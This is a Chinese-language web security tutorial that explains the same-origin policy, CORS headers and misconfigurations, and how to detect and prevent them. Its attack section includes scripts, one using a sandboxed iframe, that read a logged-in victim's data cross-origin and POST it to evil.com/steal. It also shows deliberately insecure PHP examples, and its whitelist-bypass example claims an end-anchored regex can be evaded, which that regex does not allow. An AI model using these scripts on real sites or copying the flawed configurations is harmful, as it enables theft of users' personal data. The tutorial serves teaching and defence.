本文仅用于网络安全技术学习与授权测试交流。任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
一、同源策略(SOP)基础
1.1 什么是同源策略
1.2 同源策略限制的内容
二、CORS 的作用与机制
2.1 为什么需要 CORS
2.2 CORS 的工作流程
2.3 简单请求与预检请求
三、CORS 相关响应头详解
四、CORS 漏洞的产生原因
4.1 典型错误配置
4.2 代码示例(PHP 错误配置)
五、CORS 漏洞的攻击实例
5.1 场景:反射 Origin + 允许凭证
5.2 场景:白名单绕过(利用子域名或后缀)
5.3 场景:利用 null Origin
六、CORS 漏洞的检测方法
6.1 手工检测
6.2 自动化检测
6.3 注意点
七、CORS 漏洞的防御措施
7.1 严格配置 Access-Control-Allow-Origin
7.2 避免 null Origin 被利用
7.3 限制 Access-Control-Allow-Methods 和 Access-Control-Allow-Headers
7.4 配置 vary: Origin
7.5 敏感数据不依赖 Cookie 认证
7.6 内网 API 禁用 CORS 或限制来源
7.7 使用 Content-Security-Policy 中的 frame-ancestors 辅助防御
7.8 安全审计与监控
八、CORS 漏洞与相关漏洞的对比
九、CORS 安全配置最佳实践清单
十、总结
一、同源策略(SOP)基础
1.1 什么是同源策略
同源策略(Same-Origin Policy,SOP)是浏览器最核心的安全机制之一,它限制了一个源的文档或脚本如何与另一个源的资源进行交互。源由三部分组成:
协议(Protocol):
http/https/ftp等域名(Domain):
example.com/api.example.com端口(Port):
:80/:443/:8080
同源判定规则:只有当协议、域名、端口三者完全一致时,才被认为是同源。
| URL A | URL B | 是否同源 | 原因 |
|---|---|---|---|
https://example.com/page | https://example.com/api | 是 | 协议、域名、端口相同 |
http://example.com/page | https://example.com/api | 否 | 协议不同(http vs https) |
https://example.com:443 | https://api.example.com | 否 | 域名不同(子域名不同) |
https://example.com:8080 | https://example.com:80 | 否 | 端口不同 |
1.2 同源策略限制的内容
DOM 访问:禁止脚本读取不同源页面的 DOM(如
iframe.contentWindow)。Cookie / Storage:禁止脚本读取不同源的 Cookie、LocalStorage。
XMLHttpRequest / Fetch:禁止向不同源发送 AJAX 请求并读取响应(除非目标服务器明确允许)。
例外:<img>、<script>、<link>、<iframe>等标签可以跨域加载资源,但不能读取响应内容(例如<img>只显示图片,无法用 JS 读取图片的二进制数据)。
二、CORS 的作用与机制
2.1 为什么需要 CORS
现代 Web 应用往往需要跨域访问 API(例如前端https://front.com访问后端https://api.back.com)。CORS 提供了一种安全的方式,让服务器主动声明允许哪些源访问其资源。
2.2 CORS 的工作流程
当一个跨域请求发生时,浏览器会自动在请求中添加Origin头,例如:
GET /api/user HTTP/1.1 Host: api.example.com Origin: https://front.example.com
服务器返回响应时可以包含 CORS 响应头:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://front.example.com Access-Control-Allow-Credentials: true Content-Type: application/json
浏览器检查响应头:如果Access-Control-Allow-Origin的值等于请求的Origin(或为*),则允许将响应内容返回给前端脚本;否则拒绝访问。
2.3 简单请求与预检请求
简单请求:满足以下条件的请求不会触发预检(OPTIONS 请求):
方法为
GET、POST、HEAD仅使用简单头:
Accept、Accept-Language、Content-Language、Content-Type(仅限application/x-www-form-urlencoded、multipart/form-data、text/plain)
非简单请求(例如
PUT、DELETE、自定义头、application/json)会先发送一个OPTIONS 预检请求,询问服务器是否允许实际请求。
三、CORS 相关响应头详解
| 响应头 | 作用 | 取值示例 |
|---|---|---|
Access-Control-Allow-Origin | 指定允许访问的源 | *(允许任意源,但不能与credentials同时使用)https://trusted.com |
Access-Control-Allow-Credentials | 是否允许携带 Cookie | true(允许)或省略(不允许) |
Access-Control-Allow-Methods | 允许的 HTTP 方法(用于预检响应) | GET, POST, PUT, DELETE |
Access-Control-Allow-Headers | 允许的自定义请求头(用于预检响应) | X-Custom-Header, Content-Type |
Access-Control-Expose-Headers | 允许前端访问的响应头 | X-Total-Count, X-Custom |
Access-Control-Max-Age | 预检结果缓存时间(秒) | 86400 |
四、CORS 漏洞的产生原因
CORS 漏洞的根本原因是服务器配置不当,导致攻击者可以绕过同源策略,窃取敏感数据或执行未授权操作。
4.1 典型错误配置
| 错误配置 | 描述 | 风险 |
|---|---|---|
| 反射任意 Origin | 服务器读取请求中的Origin头,直接设置为Access-Control-Allow-Origin的值 | 攻击者可伪造任意 Origin,读取任何跨域数据 |
Access-Control-Allow-Origin: \*且允许凭证 | 虽然浏览器规范禁止*与credentials: true同时使用,但某些实现或配置错误可能导致依然生效 | 任何网站都可以携带 Cookie 读取数据 |
| 白名单验证不严格 | 例如检查Origin是否包含example.com,攻击者可以使用https://example.com.attacker.com绕过 | 攻击者可构造符合规则的恶意域名 |
允许nullOrigin | 某些特殊环境(如sandboxed iframe)的 Origin 为null,服务器如果允许null,攻击者可利用 | 通过 sandbox iframe 发起攻击 |
| 预检响应过于宽松 | 允许所有方法、所有头,且缓存时间过长 | 攻击者可进行更多类型的跨域操作 |
| 内网 API 未加限制 | 内网服务直接返回Access-Control-Allow-Origin: * | 攻击者可利用恶意页面探测内网 |
4.2 代码示例(PHP 错误配置)
// 错误:直接反射 Origin $origin = $_SERVER['HTTP_ORIGIN'] ?? ''; header("Access-Control-Allow-Origin: $origin"); header("Access-Control-Allow-Credentials: true"); // 错误:使用 * 且允许凭证(某些服务器会忽略浏览器限制) header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Credentials: true"); // 错误:白名单验证不严谨 if (strpos($origin, 'example.com') !== false) { header("Access-Control-Allow-Origin: $origin"); }五、CORS 漏洞的攻击实例
5.1 场景:反射 Origin + 允许凭证
目标:https://api.example.com/user返回当前登录用户的个人信息(姓名、邮箱、手机号)。服务器配置:
读取
Origin头并反射为Access-Control-Allow-Origin设置
Access-Control-Allow-Credentials: true
攻击者:拥有域名https://evil.com
攻击步骤:
受害者登录
https://api.example.com,获得会话 Cookie。攻击者发送钓鱼邮件,诱导受害者访问
https://evil.com/attack.html。attack.html内容如下:<script> fetch('https://api.example.com/user', { credentials: 'include' }) .then(res => res.json()) .then(data => { // 将窃取的数据发送到攻击者服务器 fetch('https://evil.com/steal', { method: 'POST', body: JSON.stringify(data) }); }); </script>受害者浏览器执行该脚本,发起跨域请求到
https://api.example.com/user,携带 Cookie。服务器收到请求,
Origin: https://evil.com,响应头:Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true
浏览器检查通过,将响应数据(用户信息)返回给攻击者的脚本。
攻击者的脚本将数据发送到
https://evil.com/steal,完成数据窃取。
5.2 场景:白名单绕过(利用子域名或后缀)
假设服务器白名单检查代码:
if (preg_match('/\.example\.com$/', $origin)) { header("Access-Control-Allow-Origin: $origin"); }攻击者可注册域名https://evil.example.com.attacker.com或https://example.com.attacker.com(如果允许此类模式),或者利用https://example.com.attacker.org(包含example.com但不在末尾)。
5.3 场景:利用nullOrigin
服务器配置允许Access-Control-Allow-Origin: null。攻击者利用sandboxed iframe发起请求,其Origin为null:
<iframe sandbox="allow-scripts allow-same-origin" src="data:text/html,<script> fetch('https://api.example.com/user', {credentials: 'include'}) .then(r=>r.json()) .then(d=>fetch('https://evil.com/steal',{method:'POST',body:JSON.stringify(d)})) </script>"></iframe>六、CORS 漏洞的检测方法
6.1 手工检测
查看响应头:使用浏览器开发者工具(Network 面板)或 Burp Suite,检查目标 API 响应中是否包含
Access-Control-Allow-Origin。测试 Origin 反射:使用 Burp Repeater 修改请求中的
Origin头,观察响应头是否与请求的Origin一致。测试携带凭证:在浏览器控制台中执行以下代码(需用户已登录):
fetch('https://api.example.com/sensitive-endpoint', { credentials: 'include' }).then(res => res.text()).then(console.log);如果能够输出数据,说明存在漏洞。
测试白名单绕过:尝试各种变形的 Origin(如
https://example.com.attacker.com、https://attacker.com?origin=example.com、https://evil@example.com等)。
6.2 自动化检测
Burp Suite 扩展:
CORS Scanner、Corsy命令行工具:
corsy(Python)、CORS_Check扫描器:AWVS、Nessus、OpenVAS 的 CORS 检测模块
6.3 注意点
仅当 API 返回敏感数据或执行敏感操作时,CORS 漏洞才有实际危害。
有些 API 可能只对特定路径启用 CORS,需全面探测。
七、CORS 漏洞的防御措施
7.1 严格配置Access-Control-Allow-Origin
不要反射 Origin,不要使用
*与credentials同时出现。使用白名单:将允许的源明确列出,仅当请求的 Origin 在白名单内时,才返回该 Origin。
推荐做法(Python Flask 示例):
ALLOWED_ORIGINS = { 'https://trusted-front.com', 'https://admin.example.com' } origin = request.headers.get('Origin') if origin in ALLOWED_ORIGINS: response.headers['Access-Control-Allow-Origin'] = origin response.headers['Access-Control-Allow-Credentials'] = 'true'7.2 避免nullOrigin 被利用
不要将
null加入白名单。
7.3 限制Access-Control-Allow-Methods和Access-Control-Allow-Headers
仅允许业务必须的方法和头,例如只允许
GET,不允许PUT/DELETE。不要允许
*。
7.4 配置vary: Origin
Vary: Origin
告诉缓存服务器(CDN、反向代理)根据Origin头分别缓存响应,避免将带有 CORS 头的响应返回给错误的用户。
7.5 敏感数据不依赖 Cookie 认证
使用
Authorization: Bearer <token>头代替 Cookie 会话,这样浏览器不会自动携带,且不受 CORS 凭证限制。但需要注意前端存储 Token 时的 XSS 风险。
7.6 内网 API 禁用 CORS 或限制来源
内部管理接口不应该对公网开放 CORS。
如果必须开放,应限制为内部域名。
7.7 使用Content-Security-Policy中的frame-ancestors辅助防御
虽然不能直接防御 CORS 数据泄露,但可以防止页面被嵌入恶意 iframe。
7.8 安全审计与监控
定期扫描 CORS 配置。
对异常 Origin 请求进行监控和告警。
八、CORS 漏洞与相关漏洞的对比
| 漏洞类型 | 核心机制 | 攻击目标 | 利用方式 |
|---|---|---|---|
| CORS 配置错误 | 跨域读取资源(数据泄露) | 窃取用户信息、Token 等 | AJAX + 携带凭证 |
| CSRF | 状态变更(伪造请求) | 转账、改密码等 | 表单、图片、AJAX |
| XSS | 注入脚本执行 | 窃取 Cookie、劫持会话 | 存储/反射/DOM 注入 |
| SSRF | 服务端发起请求 | 内网探测、攻击内部服务 | 控制 URL 参数 |
注意:CORS 漏洞常常与 CSRF 结合,攻击者先通过 CORS 读取 CSRF Token,再发起 CSRF 攻击。
九、CORS 安全配置最佳实践清单
避免反射 Origin,使用静态白名单。
白名单应使用完整源(协议+域名+端口),不要使用正则模糊匹配。
不允许
nullOrigin。Access-Control-Allow-Credentials: true必须与明确的白名单 Origin 配合,不能与\*同用。限制
Access-Control-Allow-Methods为最小必要(如GET, POST,避免PUT, DELETE)。设置
Access-Control-Max-Age为合理值(如86400),但不宜过长。添加
Vary: Origin响应头。非必要不对内网 API 开启 CORS。
定期审计(使用自动化工具)。
十、总结
CORS 是突破浏览器同源策略的合法机制,但错误的配置会使其变成严重的安全漏洞。攻击者利用反射 Origin、宽松白名单、允许携带凭证等配置缺陷,可以跨域窃取用户敏感数据。防御的核心是严格白名单 + 最小权限 + 动态验证。开发者应把 CORS 配置视为安全策略的一部分,而非简单的功能开关。